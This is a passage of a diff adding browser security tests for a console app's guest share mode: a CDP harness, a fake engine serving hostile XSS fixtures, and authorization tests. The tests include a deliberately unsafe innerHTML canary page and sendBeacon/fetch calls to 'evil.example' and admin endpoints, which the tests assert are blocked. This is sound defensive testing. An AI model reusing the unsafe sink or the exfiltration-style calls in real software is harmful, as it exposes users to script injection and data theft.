r(); }, 3000); } });+ try { rmSync(profile, { recursive: true, force: true }); } catch { /* */ }+ }++ return { newPage, close, chrome };+}++class Page {+ constructor(send, sessionId, targetId) {+ this._send = send; this.sessionId = sessionId; this.targetId = targetId;+ /** Every request the page tried to make (including blocked ones). */+ this.requests = [];+ /** JS dialogs that tried to open (alert/confirm/prompt) — each is dismissed. */+ this.dialogs = [];+ /** Uncaught exceptions + console.error text. */+ this.errors = [];+ this.consoleMessages = [];+ }++ send(method, params) { return this._send(method, params, this.sessionId); }++ async init() {+ await this.send('Page.enable');+ await this.send('Runtime.enable');+ await this.send('Network.enable');+ await this.send('Log.enable');+ // Runs before any page script in every new document. CDP-injected+ // scripts are not subject to the page's CSP.+ await this.send('Page.addScriptToEvaluateOnNewDocument', {+ source: `window.__cspViolations = [];+ document.addEventListener('securitypolicyviolation', (e) => window.__cspViolations.push(e.violatedDirective + ' <- ' + (e.blockedURI || 'inline') + ' @' + (e.sourceFile || '') + ':' + e.lineNumber));`,+ });+ }++ _event(msg) {+ const p = msg.params || {};+ switch (msg.method) {+ case 'Network.requestWillBeSent':+ this.requests.push({ url: p.request.url, method: p.request.method, headers: p.request.headers, type: p.type });+ break;+ case 'Page.javascriptDialogOpening':+ this.dialogs.push({ type: p.type, message: p.message });+ this.send('Page.handleJavaScriptDialog', { accept: false }).catch(() => {});+ break;+ case 'Runtime.exceptionThrown':+ this.errors.push(String(p.exceptionDetails?.exception?.description || p.exceptionDetails?.text || 'exception'));+ break;+ case 'Runtime.consoleAPICalled':+ this.consoleMessages.push(`${p.type}: ${(p.args || []).map((a) => a.value ?? a.description ?? '').join(' ')}`);+ break;+ case 'Log.entryAdded':+ this.consoleMessages.push(`${p.entry.level}: ${p.entry.text}`);+ break;+ default:+ }+ }++ async goto(url) {+ const { errorText } = await this.send('Page.navigate', { url });+ if (errorText) throw new Error(`navigate ${url}: ${errorText}`);+ }++ /** Evaluate an expression (may be async) and return its JSON value. */+ async eval(expression) {+ const r = await this.send('Runtime.evaluate', { expression, awaitPromise: true, returnByValue: true, userGesture: true });+ if (r.exceptionDetails) throw new Error(`eval failed: ${r.exceptionDetails.exception?.description || r.exceptionDetails.text}\n${expression.slice(0, 200)}`);+ return r.result.value;+ }++ /** Poll `expression` until truthy. Returns its value. */+ async waitFor(expression, { timeoutMs = 15_000, label } = {}) {+ const t0 = Date.now();+ let last;+ for (;;) {+ try { last = await this.eval(expression); } catch (e) { last = undefined; if (!/Cannot find context|Execution context was destroyed|Inspected target navigated/.test(String(e))) throw e; }+ if (last) return last;+ if (Date.now() - t0 > timeoutMs) {+ let text = '';+ try { text = await this.eval('document.body ? document.body.innerText.slice(0, 1500) : ""'); } catch { /* */ }+ throw new Error(`timed out waiting for: ${label || expression}\n--- page text ---\n${text}\n--- console ---\n${this.consoleMessages.slice(-12).join('\n')}`);+ }+ await new Promise((r) => setTimeout(r, 60));+ }+ }++ async setHash(hash) { await this.eval(`(location.hash = ${JSON.stringify(hash)}, true)`); }+ async close() { try { await this._send('Target.closeTarget', { targetId: this.targetId }); } catch { /* */ } }+}++export const sleep = (ms) => new Promise((r) => setTimeout(r, ms));diff --git a/xerj-ux/test/browser/fake-engine.mjs b/xerj-ux/test/browser/fake-engine.mjsnew file mode 100644index 000000000..904b5ab9b--- /dev/null+++ b/xerj-ux/test/browser/fake-engine.mjs@@ -0,0 +1,221 @@+// ============================================================+// A fake XERJ node for the browser tests.+//+// Serves the REAL console SPA from xerj-ux/ exactly as the server does+// (`/_xerj-console/…`, same Content-Security-Policy — the string is read out+// of xerj-console-api/src/spa.rs, so the SPA is tested under the policy that+// ships), and answers the data-plane / console-API routes the console calls+// with HOSTILE documents (../fixtures/hostile.mjs).+//+// It records every request, so a test can assert what the console did NOT+// ask for — a guest that never touches `/_xerj-console/api/…` is proven by+// this log, not by reading the code.+// ============================================================++import { createServer } from 'node:http';+import { readFileSync, existsSync, statSync } from 'node:fs';+import { dirname, join, normalize, resolve, extname } from 'node:path';+import { fileURLToPath } from 'node:url';+import {+ HOSTILE_HITS, hostileEmail, hostileEgo, hostileCatalogHit, ENGINE_403_BODY, PAYLOADS,+} from '../fixtures/hostile.mjs';+import { miniSearch } from '../fixtures/mini-engine.mjs';++const HERE = dirname(fileURLToPath(import.meta.url));+const UX_ROOT = resolve(HERE, '..', '..');+const SPA_RS = resolve(UX_ROOT, '..', 'engine', 'crates', 'xerj-console-api', 'src', 'spa.rs');++/** The policy the server really sends, parsed from its source. */+export function shippedCsp() {+ const src = readFileSync(SPA_RS, 'utf8');+ const m = src.match(/pub const CONSOLE_CSP: &str = "([^"]+)";/);+ if (!m) throw new Error('CONSOLE_CSP not found in spa.rs — the browser tests must run under the shipped policy');+ return m[1];+}++const TYPES = { '.html': 'text/html; charset=utf-8', '.css': 'text/css; charset=utf-8', '.js': 'application/javascript; charset=utf-8', '.svg': 'image/svg+xml', '.png': 'image/png', '.ico': 'image/x-icon', '.woff2': 'font/woff2' };++export const GUEST_KEY = 'Z3Vlc3Qta2V5LWlkOmd1ZXN0LWtleS1zZWNyZXQtMDEyMzQ1Njc4OQ==';++const MAPPING = {+ 'ax-inbox': { mappings: { properties: {+ // `email_subject` is KEYWORD, as autoindex really types it on a mailbox with+ // PDF attachments (PR #945 review: a fake that hardcoded `text` hid that).+ body: { type: 'semantic_text' }, email_subject: { type: 'keyword' }, email_from: { type: 'keyword' }, email_date: { type: 'date' },+ attachment_name: { type: 'keyword' }, email_message_id: { type: 'keyword' }, ax_format: { type: 'keyword' },+ [`field${PAYLOADS.imgOnerror}`]: { type: 'keyword' },+ } } },+};+const FIELDS = Object.entries(MAPPING['ax-inbox'].mappings.properties).map(([name, cfg]) => ({ name, type: cfg.type === 'semantic_text' ? 'text' : cfg.type, semantic: cfg.type === 'semantic_text' }));++/** Is this one of the reader's structural joins (by id, by file, by message+ * id) rather than the search box? Those are answered by really evaluating the+ * filter; any text query returns every hostile hit. */+function isJoin(q) {+ if (!q) return false;+ if (q.ids) return true;+ const f = q.bool && Array.isArray(q.bool.filter) ? q.bool.filter : [];+ return f.some((c) => c.term && (c.term.ax_file || c.term.email_message_id));+}++/** Answer a `_search` body the way the engine would, over the hostile hits. */+function searchResponse(body, state) {+ const q = body && body.query;+ // The guest card's email count is a query of its own (reader-api.js+ // EMAIL_MESSAGE_QUERY — not a filter aggregation, #959): evaluate it.+ if (body && body.size === 0 && !body.aggs && q && q.bool && JSON.stringify(q).includes('m*-msg-s0')) return miniSearch(HOSTILE_HITS, body);+ if (isJoin(q)) {+ const resp = miniSearch(HOSTILE_HITS, body);+ // A test can claim the engine holds more attachment records than it returns+ // (one 6000-page PDF), to drive the reader's "list may be incomplete" state.+ const attJoin = JSON.stringify(q).includes('"exists":{"field":"attachment_name"}') && !(q.bool.must_not || []).length;+ if (attJoin && state && state.attachmentRecords) resp.hits.total.value = state.attachmentRecords;+ return resp;+ }+ const wantHl = !!(body && body.highlight);+ const out = HOSTILE_HITS.map((h) => ({ _index: h._index, _id: h._id, _score: h._score, _source: h._source, ...(wantHl && h.highlight ? { highlight: h.highlight } : {}) }));+ const resp = { took: 2, timed_out: false, hits: { total: { value: state && state.searchTotal ? state.searchTotal : out.length, relation: 'eq' }, max_score: 3.2, hits: body && body.size === 0 ? [] : out.slice(0, body && body.size != null ? body.size : 10) } };+ if (body && body.aggs) {+ resp.aggregations = {+ attachments: { doc_count: 2 },+ formats: { buckets: [{ key: `eml${PAYLOADS.imgOnerror}`, doc_count: 3 }, { key: 'pdf', doc_count: 2 }] },+ by__index: { buckets: [{ key: 'ax-inbox', doc_count: out.length }] },+ by_email_from: { buckets: [{ key: hostileEmail._source.email_from, doc_count: 3 }, { key: PAYLOADS.attrBreakout, doc_count: 1 }] },+ by_date: { buckets: [{ key_as_string: '2026-09-01T00:00:00.000Z', doc_count: 3 }] },+ };+ }+ return resp;+}++export async function startFakeEngine() {+ const csp = shippedCsp();+ const state = {+ /** every request: { method, path, query, auth, cookie } */+ log: [],+ /** operator session present? (`/me` → 200) */+ operator: false,+ /** status overrides: { search, mapping, ego, proxySearch, all } → HTTP status */+ fail: {},+ /** An `--insecure` node: the brain list, each brain's meta document and+ * `ego` answer WITHOUT a key, so the operator's graph path can be driven.+ * `brains` is the `_cat` order; only `inbox` holds edges for the fixtures. */+ openGraph: false,+ brains: ['inbox'],+ /** claim this many attachment records exist (0 = the truth) */+ attachmentRecords: 0,+ /** claim this many search results exist (0 = the truth) */+ searchTotal: 0,+ };++ const server = createServer(async (req, res) => {+ const url = new URL(req.url, 'http://x');+ const path = decodeURIComponent(url.pathname);+ const auth = req.headers.authorization || null;+ const entry = { method: req.method, path, query: url.search, auth, cookie: !!req.headers.cookie, body: null };+ state.log.push(entry);+ let raw = '';+ for await (const chunk of req) raw += chunk;+ let body = null;+ try { body = raw ? JSON.parse(raw) : null; } catch { body = null; }+ entry.body = body;++ const send = (status, payload, headers = {}) => {+ const text = typeof payload === 'string' ? payload : JSON.stringify(payload);+ res.writeHead(status, { 'content-type': typeof payload === 'string' ? 'text/html; charset=utf-8' : 'application/json', 'x-content-type-options': 'nosniff', ...headers });+ res.end(text);+ };+ const refuse = (status) => send(status, { ...ENGINE_403_BODY, status });++ // ---- the SPA, served as xerj-console-api/src/spa.rs serves it --------+ if (path === '/_xerj-console' ) { res.writeHead(308, { location: '/_xerj-console/' }); res.end(); return; }+ if (path.startsWith('/_xerj-console/') && !path.startsWith('/_xerj-console/api/')) {+ const relPath = path.slice('/_xerj-console/'.length) || 'index.html';+ const file = normalize(join(UX_ROOT, relPath));+ if (!file.startsWith(UX_ROOT) || relPath.startsWith('test/') || !existsSync(file) || !statSync(file).isFile()) { send(404, 'not found'); return; }+ const headers = { 'content-type': TYPES[extname(file)] || 'application/octet-stream', 'x-content-type-options': 'nosniff', 'cache-control': 'no-cache' };+ if (relPath === 'index.html') { headers['content-security-policy'] = csp; headers['referrer-policy'] = 'no-referrer'; }+ res.writeHead(200, headers);+ res.end(readFileSync(file));+ return;+ }+ // A blank same-origin page: lets a test seed sessionStorage before boot.+ if (path === '/favicon.ico') { res.writeHead(404); res.end(); return; }+ if (path === '/__blank') { send(200, '<!doctype html><title>blank</title>'); return; }+ // The CONTROL: the same hostile subject through the unsafe sink, with no+ // policy. If the payloads were duds, or the harness blind, the inertness+ // assertions elsewhere would prove nothing. This page must get pwned.+ if (path === '/__canary') {+ send(200, `<!doctype html><title>canary</title><div id="app"></div><script>+ document.getElementById('app').innerHTML = ${JSON.stringify(hostileEmail._source.email_subject).replace(/</g, '\\u003c')};+ </script>`);+ return;+ }++ if (state.fail.all) { refuse(state.fail.all); return; }++ // ---- console API (operator session) ----------------------------------+ if (path.startsWith('/_xerj-console/api/v1/')) {+ const p = path.slice('/_xerj-console/api/v1'.length);+ if (!state.operator) { send(401, { error: { code: 'unauthorized', message: 'no session' } }); return; }+ if (p === '/me') { send(200, { data: { user: { id: 'u1', email: '[email protected]', display_name: 'Op', role: 'owner' } } }); return; }+ const DS = '/data-sources/connections/built-in/indices';+ if (p === DS) { send(200, { data: { indices: [{ name: 'ax-inbox', docs: HOSTILE_HITS.length }, { name: 'autoindex-catalog', docs: 1 }], total: 2 } }); return; }+ const m = p.match(/^\/data-sources\/connections\/built-in\/indices\/([^/]+)\/(search|fields)$/);+ if (m && m[2] === 'fields') { send(m[1] === 'ax-inbox' ? 200 : 404, { data: { fields: FIELDS, total: FIELDS.length } }); return; }+ if (m && m[2] === 'search') {+ if (state.fail.proxySearch) { refuse(state.fail.proxySearch); return; }+ if (m[1] === 'autoindex-catalog') { send(200, { took: 1, hits: { total: { value: 1 }, hits: [hostileCatalogHit] } }); return; }+ if (m[1] !== 'ax-inbox') { send(404, { error: { code: 'not_found' } }); return; }+ send(200, searchResponse(body, state));+ return;+ }+ send(404, { error: { code: 'not_found', message: p } });+ return;+ }++ // ---- the graph without a key (an `--insecure` node), when a test asks --+ if (state.openGraph && !auth) {+ if (path === '/_cat/indices/.xerj-memory-*') {+ res.writeHead(200, { 'content-type': 'text/plain; charset=utf-8' });+ res.end(state.brains.map((b) => `green open .xerj-memory-${b}-edges u1 1 0 1 0 1kb 1kb 1kb`).join('\n'));+ return;+ }+ const bm = path.match(/^\/\.xerj-memory-([^/]+)-edges\/_doc\/__xerj-brain-meta$/);+ if (bm) { send(state.brains.includes(bm[1]) ? 200 : 404, { _index: `.xerj-memory-${bm[1]}-edges`, _id: '__xerj-brain-meta', found: true, _source: { nodes_index: 'ax-inbox' } }); return; }+ const gm = path.match(/^\/_graph\/([^/]+)\/ego$/);+ if (gm) { send(200, gm[1] === 'inbox' ? hostileEgo : { node: url.searchParams.get('node'), edges: [], nodes: {}, not_shown: {} }); return; }+ }++ // ---- data plane (API key) --------------------------------------------+ if (auth !== `ApiKey ${GUEST_KEY}`) { refuse(401); return; }+ const dm = path.match(/^\/([^/]+)\/(_search|_count|_mapping)$/);+ if (dm) {+ const [, index, op] = dm;+ const key = op.slice(1);+ if (state.fail[key]) { refuse(state.fail[key]); return; }+ if (index !== 'ax-inbox') { refuse(403); return; }+ if (op === '_mapping') { send(200, MAPPING); return; }+ if (op === '_count') { send(200, { count: HOSTILE_HITS.length }); return; }+ send(200, searchResponse(body, state));+ return;+ }+ if (path === '/_graph/inbox/ego') {+ if (state.fail.ego) { refuse(state.fail.ego); return; }+ send(200, hostileEgo);+ return;+ }+ refuse(403);+ });++ // An OS-assigned port by default; XERJ_TEST_ENGINE_PORT pins it (see cdp.mjs).+ await new Promise((resolve, reject) => { server.once('error', reject); server.listen(Number(process.env.XERJ_TEST_ENGINE_PORT) || 0, '127.0.0.1', resolve); });+ const { port } = server.address();+ const origin = `http://127.0.0.1:${port}`;+ return {+ origin, state, csp,+ reset() { state.log.length = 0; state.fail = {}; state.openGraph = false; state.brains = ['inbox']; state.attachmentRecords = 0; state.searchTotal = 0; },+ /** requests that were NOT static SPA assets */+ apiLog() { return state.log.filter((r) => !(r.path.startsWith('/_xerj-console/') && !r.path.startsWith('/_xerj-console/api/')) && !r.path.startsWith('/__') && r.path !== '/favicon.ico'); },+ close: () => new Promise((r) => { server.closeAllConnections?.(); server.close(r); }),+ };+}diff --git a/xerj-ux/test/browser/guest-authz.test.mjs b/xerj-ux/test/browser/guest-authz.test.mjsnew file mode 100644index 000000000..bdd916ec2--- /dev/null+++ b/xerj-ux/test/browser/guest-authz.test.mjs@@ -0,0 +1,274 @@+// Guest mode, from the UI side: what a share-link guest's tab asks the engine+// for, what it shows when refused, and how the session ends.+// Run: node --test xerj-ux/test/browser/ (needs Chrome; Node >= 22)+import test from 'node:test';+import assert from 'node:assert/strict';+import { setup, skipReason, openGuest, shareRecord, census, assertCensusInert, assertNotPwned, GUEST_KEY } from './harness.mjs';+import { sleep } from './cdp.mjs';+import { LEAK_MARKERS, HOSTILE_ID } from '../fixtures/hostile.mjs';++const skip = skipReason();+let ctx;+test.before(async () => { if (!skip) ctx = await setup(); });+test.after(async () => { if (ctx) await ctx.teardown(); });+test.beforeEach(() => { if (ctx) { ctx.engine.reset(); ctx.engine.state.operator = false; } });++const readerHash = `#/reader?index=ax-inbox&id=${encodeURIComponent(HOSTILE_ID)}`;+const GUEST_ROUTES = [/^POST \/ax-inbox\/_search$/, /^POST \/ax-inbox\/_count$/, /^GET \/ax-inbox\/_mapping$/, /^GET \/_graph\/inbox\/ego$/];+const isGuestRoute = (r) => GUEST_ROUTES.some((re) => re.test(`${r.method} ${r.path}`));++test('a guest tab calls the share\'s four operations and NOTHING else', { skip }, async () => {+ const page = await openGuest(ctx, { hash: readerHash });+ await page.waitFor(`document.querySelector('[data-shape="email"]') && document.querySelector('.rd-egroups')`, { label: 'reader + graph' });+ await page.setHash('#/corpus');+ await page.waitFor(`document.querySelector('[data-corpus-index="ax-inbox"] .cp-card__nums')`, { label: 'corpus card' });++ // Operator routes typed into the address bar land on the guest's corpus+ // view: there is no operator shell in this tab to route to.+ for (const h of ['#/settings', '#/users', '#/data', '#/alerts', '#/dashboards/system', '#/dashboards/second-brain?brain=inbox', '#/discover', '#/manage']) {+ await page.setHash(h);+ await sleep(120);+ const ui = await page.eval(`({ guest: !!document.querySelector('[data-guest-banner]'), nav: [...document.querySelectorAll('nav a')].map((a) => a.textContent), opShell: !!document.querySelector('[data-nav-status], .sbox, [data-safe-mount]') })`);+ assert.ok(ui.guest, `${h}: still the guest shell`);+ assert.deepEqual(ui.nav, ['CORPUS', 'READER'], `${h}: no admin navigation`);+ assert.equal(ui.opShell, false, `${h}: no operator chrome`);+ }++ const api = ctx.engine.apiLog();+ assert.ok(api.length >= 5, 'the guest did talk to the engine');+ const stray = api.filter((r) => !isGuestRoute(r));+ assert.deepEqual(stray.map((r) => `${r.method} ${r.path}`), [], 'requests outside the share\'s four operations');+ assert.deepEqual(api.filter((r) => r.path.startsWith('/_xerj-console/api/')), [], 'a guest never calls a console/admin endpoint — not even /me');+ assert.ok(api.every((r) => r.auth === `ApiKey ${GUEST_KEY}`), 'every data request carries the share key');+ assert.ok(api.every((r) => r.cookie === false), 'and never a cookie');++ // The key rides ONLY on those requests — never on a static asset fetch.+ const withKey = ctx.engine.state.log.filter((r) => r.auth);+ assert.ok(withKey.every(isGuestRoute), 'the Authorization header appears on share operations only');+ const assets = ctx.engine.state.log.filter((r) => r.path.startsWith('/_xerj-console/'));+ assert.ok(assets.length > 5 && assets.every((r) => !r.auth));+ // The operator bundle was never even downloaded.+ const loaded = assets.map((r) => r.path.replace('/_xerj-console/', ''));+ for (const f of ['src/app.js', 'src/xerj-console-sync.js', 'src/data/dashboard-store.js', 'src/data/data-sources.js', 'src/data/mock.js', 'src/data/query.js', 'src/dashboards/registry.js', 'src/dashboards/settings.js', 'src/dashboards/users.js']) {+ assert.ok(!loaded.includes(f), `${f} must not load in a guest tab`);+ }+ assert.ok(loaded.includes('src/guest-app.js') && loaded.includes('src/data/guest.js'));++ // Page code that tries anyway is refused before the network.+ const n = ctx.engine.state.log.length;+ const tries = await page.eval(`Promise.all([+ '/_xerj-console/api/v1/me', '/_xerj-console/api/v1/dashboards', '/_cat/indices', '/_mapping', '/hr-salaries/_search', '/_security/api_key', 'https://evil.example/x',+ ].map((u) => fetch(u, { method: u.includes('_search') || u.includes('api_key') ? 'POST' : 'GET' }).then((r) => r.status, () => 'threw')))`);+ assert.deepEqual(tries, [403, 403, 403, 403, 403, 403, 403]);+ assert.equal(ctx.engine.state.log.length, n, 'none of them reached the server');+ assert.equal(await page.eval('window.__xerjGuestBlocked.length'), 7);+ // …and so is an XMLHttpRequest or a beacon (PR #945 review: only fetch was guarded).+ const xhr = await page.eval(`(() => { try { const x = new XMLHttpRequest(); x.open('GET', '/_xerj-console/api/v1/me'); x.send(); return 'sent'; } catch (e) { return e.name; } })()`);+ assert.equal(xhr, 'SecurityError');+ const beacon = await page.eval(`[navigator.sendBeacon('https://evil.example/b', 'k'), navigator.sendBeacon('/_xerj-console/api/v1/audit', 'k')]`);+ assert.deepEqual(beacon, [false, false]);+ await sleep(150);+ assert.equal(ctx.engine.state.log.length, n, 'neither reached the server');+ assert.deepEqual(await page.eval('window.__xerjGuestBlocked.slice(7)'), ['XHR GET /_xerj-console/api/v1/me', 'BEACON POST https://evil.example', 'BEACON POST /_xerj-console/api/v1/audit']);+ await assertNotPwned(page, ctx.engine.origin, 'guest authz');+ await page.close();+});++test('the banner says guest, read-only, and when it ends', { skip }, async () => {+ const page = await openGuest(ctx, { hash: '#/corpus' });+ await page.waitFor(`document.querySelector('[data-guest-banner-text]')?.textContent.length > 10`);+ const b = await page.eval(`({ text: document.querySelector('[data-guest-banner-text]').textContent, role: document.querySelector('[data-guest-banner]').getAttribute('role'), visible: document.querySelector('[data-guest-banner]').getBoundingClientRect().height > 10, title: document.title, foot: document.querySelector('.guest-foot').textContent })`);+ assert.match(b.text, /^Guest · read-only · Hostile inbox · expires \d{4}-\d{2}-\d{2} \d{2}:\d{2} UTC \(in (59m|1h 0m)\)$/);+ assert.equal(b.role, 'status');+ assert.ok(b.visible);+ assert.equal(b.title, 'Shared view · XERJ');+ assert.match(b.foot, /Read-only view/);+ await page.close();+});++test('a 403 is shown as "not permitted" — none of the engine\'s words reach the page', { skip }, async () => {+ ctx.engine.state.fail = { search: 403, ego: 403 };+ const page = await openGuest(ctx, { hash: readerHash });+ await page.waitFor(`/not permitted/.test(document.querySelector('[data-guest-main]')?.textContent || '')`, { label: 'the refusal' });+ await sleep(250);+ const c = await census(page, '#app');+ for (const m of LEAK_MARKERS) assert.ok(!c.text.includes(m), `the page leaks ${m}`);+ assert.ok(/Search failed: not permitted\. Nothing is shown in its place\./.test(c.text));+ assert.equal(await page.eval(`document.querySelectorAll('.rd-card').length`), 0, 'no result cards under a refused search');+ // a 403 is an answer, not the end of the session+ assert.ok(await page.eval(`!!document.querySelector('[data-guest-banner]') && sessionStorage.getItem('xerj.share') !== null`));+ assert.deepEqual(page.consoleMessages.filter((l) => LEAK_MARKERS.some((m) => l.includes(m))), [], 'nor the console');++ // Graph refused, records allowed: the panel says the share has no graph.+ ctx.engine.state.fail = { ego: 403 };+ await page.setHash('#/corpus'); await page.setHash(readerHash);+ await page.waitFor(`/This share does not include the knowledge graph/.test(document.querySelector('.rd-graph')?.textContent || '')`, { label: 'graph denied state' });+ const g = await census(page, '.rd-graph');+ for (const m of [...LEAK_MARKERS, 'HTTP 403', 'API key', 'xerj brain']) assert.ok(!g.text.includes(m), `graph panel leaks ${m}`);+ assert.ok(await page.eval(`!!document.querySelector('[data-shape="email"]')`), 'the record itself still renders');+ await page.close();+});++test('a 401 (revoked key) logs the guest out and forgets the key', { skip }, async () => {+ const page = await openGuest(ctx, { hash: readerHash });+ await page.waitFor(`document.querySelector('[data-shape="email"]')`);+ ctx.engine.state.fail = { all: 401 };+ await page.eval(`(() => { const i = document.querySelector('.rd-q'); i.value = 'anything'; i.dispatchEvent(new KeyboardEvent('keydown', { key: 'Enter', bubbles: true })); return true; })()`);+ await page.waitFor(`document.querySelector('[data-guest-ended="unauthorized"]')`, { label: 'the ended screen' });+ const s = await page.eval(`({ key: sessionStorage.getItem('xerj.share'), text: document.getElementById('app').textContent, banner: !!document.querySelector('[data-guest-banner]'), cards: document.querySelectorAll('.rd-card, [data-shape]').length })`);+ assert.equal(s.key, null, 'the key is removed from sessionStorage');+ assert.equal(s.banner, false);+ assert.equal(s.cards, 0, 'the documents are gone from the page');+ assert.match(s.text, /NO LONGER VALID/);+ for (const m of LEAK_MARKERS) assert.ok(!s.text.includes(m));+ // and nothing more is asked of the engine+ ctx.engine.state.fail = {};+ const n = ctx.engine.apiLog().length;+ await page.setHash('#/corpus'); await page.setHash(readerHash);+ await sleep(300);+ assert.equal(ctx.engine.apiLog().length, n, 'no request after logout');+ await page.close();+});++test('expiry logs the guest out — on the timer, with no click', { skip }, async () => {+ const page = await openGuest(ctx, { record: shareRecord({ expires_at: new Date(Date.now() + 2500).toISOString() }), hash: readerHash });+ await page.waitFor(`document.querySelector('[data-shape="email"]')`, { label: 'the record, before expiry' });+ assert.match(await page.eval(`document.querySelector('[data-guest-banner-text]').textContent`), /expires .* \(in \ds\)/);+ await page.waitFor(`document.querySelector('[data-guest-ended="expired"]')`, { timeoutMs: 8000, label: 'the expired screen' });+ const s = await page.eval(`({ key: sessionStorage.getItem('xerj.share'), text: document.getElementById('app').textContent, docs: document.querySelectorAll('[data-shape], .rd-card').length })`);+ assert.equal(s.key, null);+ assert.equal(s.docs, 0);+ assert.match(s.text, /THIS SHARE HAS EXPIRED/);+ const n = ctx.engine.apiLog().length;+ await page.setHash('#/reader?index=ax-inbox&id=att-1');+ await sleep(300);+ assert.equal(ctx.engine.apiLog().length, n, 'an expired tab asks the engine for nothing');+ // Reloading does not bring it back: the record is gone, the operator login takes over.+ await page.close();+});++test('an already-expired or malformed record never boots a session (fails closed)', { skip }, async () => {+ for (const [why, record] of [+ ['expired', shareRecord({ expires_at: new Date(Date.now() - 1000).toISOString() })],+ ['no expiry', shareRecord({ expires_at: null })],+ ['wildcard index', shareRecord({ index: '*' })],+ ['system index', shareRecord({ index: '.xerj_users' })],+ ['not json', 'this is not json'],+ ]) {+ ctx.engine.reset();+ const page = await openGuest(ctx, { record, hash: readerHash });+ await page.waitFor(`document.querySelector('[data-guest-ended]')`, { label: `${why}: ended screen` });+ const s = await page.eval(`({ reason: document.querySelector('[data-guest-ended]').getAttribute('data-guest-ended'), key: sessionStorage.getItem('xerj.share') })`);+ assert.equal(s.reason, 'invalid', why);+ assert.equal(s.key, null, `${why}: the record is cleared`);+ assert.deepEqual(ctx.engine.apiLog(), [], `${why}: no request was made — not with the key, not to /me`);+ await page.close();+ }+});++test('LEAVE ends the session on request', { skip }, async () => {+ const page = await openGuest(ctx, { hash: '#/corpus' });+ await page.waitFor(`document.querySelector('[data-guest-leave]')`);+ await page.eval(`(document.querySelector('[data-guest-leave]').click(), true)`);+ await page.waitFor(`document.querySelector('[data-guest-ended="left"]')`);+ assert.equal(await page.eval(`sessionStorage.getItem('xerj.share')`), null);+ await page.close();+});++test('without a share record the tab is the operator console: /me → login', { skip }, async () => {+ const page = await ctx.browser.newPage();+ await page.goto(`${ctx.engine.origin}/_xerj-console/`);+ await page.waitFor(`location.pathname === '/_xerj-console/login'`, { label: 'redirect to login' });+ const api = ctx.engine.apiLog();+ assert.deepEqual(api.map((r) => `${r.method} ${r.path}`), ['GET /_xerj-console/api/v1/me']);+ await page.close();+});++test('MAJOR (PR #945 review): the guest CORPUS view asks again after a failed load — it does not cache "could not read" for the life of the tab', { skip }, async () => {+ // Reviewer's repro on a real node: kill the engine, open #/corpus ("Could not+ // read this index: engine unreachable"), restart the engine — the Reader+ // recovers, the corpus view kept the failure until the tab was reloaded.+ ctx.engine.state.fail = { search: 503 };+ const page = await openGuest(ctx, { hash: '#/corpus' });+ await page.waitFor(`/Could not read this index/.test(document.querySelector('[data-guest-corpus]')?.textContent || '')`, { label: 'the failed card' });+ assert.match(await page.eval(`document.querySelector('[data-guest-corpus]').textContent`), /asks again/i, 'the failed card says the page retries');+ ctx.engine.state.fail = {};+ await page.setHash('#/reader'); await page.setHash('#/corpus');+ await page.waitFor(`document.querySelector('[data-corpus-index="ax-inbox"] .cp-card__nums')`, { label: 'the recovered card — with NO reload' });+ assert.ok(!/Could not read/.test(await page.eval(`document.querySelector('[data-guest-corpus]').textContent`)));+ // a good answer IS kept: coming back does not ask again+ const n = ctx.engine.apiLog().filter((r) => r.body && r.body.aggs).length;+ await page.setHash('#/reader'); await page.setHash('#/corpus');+ await sleep(250);+ assert.equal(ctx.engine.apiLog().filter((r) => r.body && r.body.aggs).length, n, 'a successful summary is cached');+ await page.close();+});++test('BLOCKER (PR #945 review): an incomplete attachment list SAYS so in the page; the join is by file and asks for light records', { skip }, async () => {+ ctx.engine.state.attachmentRecords = 6000; // the engine holds more attachment records than the reader will read+ const page = await openGuest(ctx, { hash: readerHash });+ await page.waitFor(`document.querySelector('[data-rd-block="attachments-truncated"]')`, { label: 'the incomplete-list notice' });+ const t = await page.eval(`document.querySelector('[data-rd-block="attachments"]').textContent`);+ assert.match(t, /ATTACHMENTS · 2\+/);+ assert.match(t, /6000 attachment records/);+ assert.match(t, /not listed/);+ const join = ctx.engine.apiLog().map((r) => r.body).find((b) => b && b._source && JSON.stringify(b.query).includes('attachment_name'));+ assert.ok(join, 'the attachment join was sent');+ assert.ok(JSON.stringify(join.query).includes('"ax_file"') && !JSON.stringify(join.query).includes('email_message_id'), 'joined on the file, not the Message-ID');+ assert.ok(!join._source.includes('body'), 'page text is not fetched for a list of names');+ assertCensusInert(await census(page, '[data-guest-main]'), 'reader with the notice');+ await assertNotPwned(page, ctx.engine.origin, 'reader with the notice');+ await page.close();+});++test('minors (PR #945 review): TERM with free text searches NOTHING and says the syntax; SHOW MORE pages past the first 25', { skip }, async () => {+ const page = await openGuest(ctx, { hash: '#/reader' });+ await page.waitFor(`document.querySelectorAll('.rd-card').length > 0`, { label: 'first results' });+ const before = ctx.engine.apiLog().length;+ await page.eval(`(() => { const i = document.querySelector('.rd-q'); i.value = 'zebrafish'; const s = document.querySelector('.rd-type'); s.value = 'term'; s.dispatchEvent(new Event('change', { bubbles: true })); return true; })()`);+ await page.waitFor(`/TERM needs field=value/.test(document.querySelector('[data-guest-main]')?.textContent || '')`, { label: 'the syntax message' });+ assert.equal(await page.eval(`document.querySelectorAll('.rd-card').length`), 0, 'no record is presented as a result');+ assert.equal(ctx.engine.apiLog().length, before, 'and nothing was asked of the engine (it used to be match_all)');+ assert.match(await page.eval(`document.querySelector('.rd-q').getAttribute('placeholder')`), /field=value/);++ ctx.engine.state.searchTotal = 60;+ await page.eval(`(() => { const s = document.querySelector('.rd-type'); s.value = 'match'; const i = document.querySelector('.rd-q'); i.value = 'invoice'; s.dispatchEvent(new Event('change', { bubbles: true })); return true; })()`);+ await page.waitFor(`document.querySelector('[data-rd-more]')`, { label: 'SHOW MORE' });+ assert.match(await page.eval(`document.querySelector('[data-rd-slot="list-head"]').textContent`), /60 RESULTS · SHOWING/);+ await page.eval(`(document.querySelector('[data-rd-more]').click(), true)`);+ await page.waitFor(`true`, {});+ await sleep(250);+ const sizes = ctx.engine.apiLog().map((r) => r.body).filter((b) => b && b.highlight).map((b) => b.size);+ assert.deepEqual(sizes.slice(-2), [25, 50], 'the next request asks for 25 more');+ await page.close();+});++test('minor (PR #945 review): a guest who RELOADS after the share ended sees the ended screen again — not the operator passkey login', { skip }, async () => {+ const page = await openGuest(ctx, { hash: '#/corpus' });+ await page.waitFor(`document.querySelector('[data-guest-leave]')`);+ await page.eval(`(document.querySelector('[data-guest-leave]').click(), true)`);+ await page.waitFor(`document.querySelector('[data-guest-ended="left"]')`, { label: 